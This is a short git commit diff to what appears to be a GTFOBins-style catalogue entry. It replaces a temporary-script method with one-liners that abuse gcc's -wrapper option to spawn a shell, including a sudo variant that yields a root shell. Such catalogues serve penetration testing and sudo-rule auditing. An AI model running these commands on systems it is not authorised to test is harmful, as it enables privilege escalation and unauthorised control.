Simplify gcc shell

This commit is contained in:
Andrea Cardaci 2020-03-14 12:17:30 +01:00
parent dec4a7f928
commit dfb01a4c3b

View File

@ -1,17 +1,7 @@
---
functions:
shell:
- code: |
TF=$(mktemp -d)
echo '#!/bin/sh' > $TF/x
echo '/bin/sh' >> $TF/x
chmod +x $TF/x
gcc -wrapper $TF/x $TF/x
- code: gcc -wrapper /bin/sh,-s .
sudo:
- code: |
TF=$(mktemp -d)
echo '#!/bin/sh' > $TF/x
echo '/bin/sh' >> $TF/x
chmod +x $TF/x
sudo gcc -wrapper $TF/x $TF/x
- code: sudo gcc -wrapper /bin/sh,-s .
---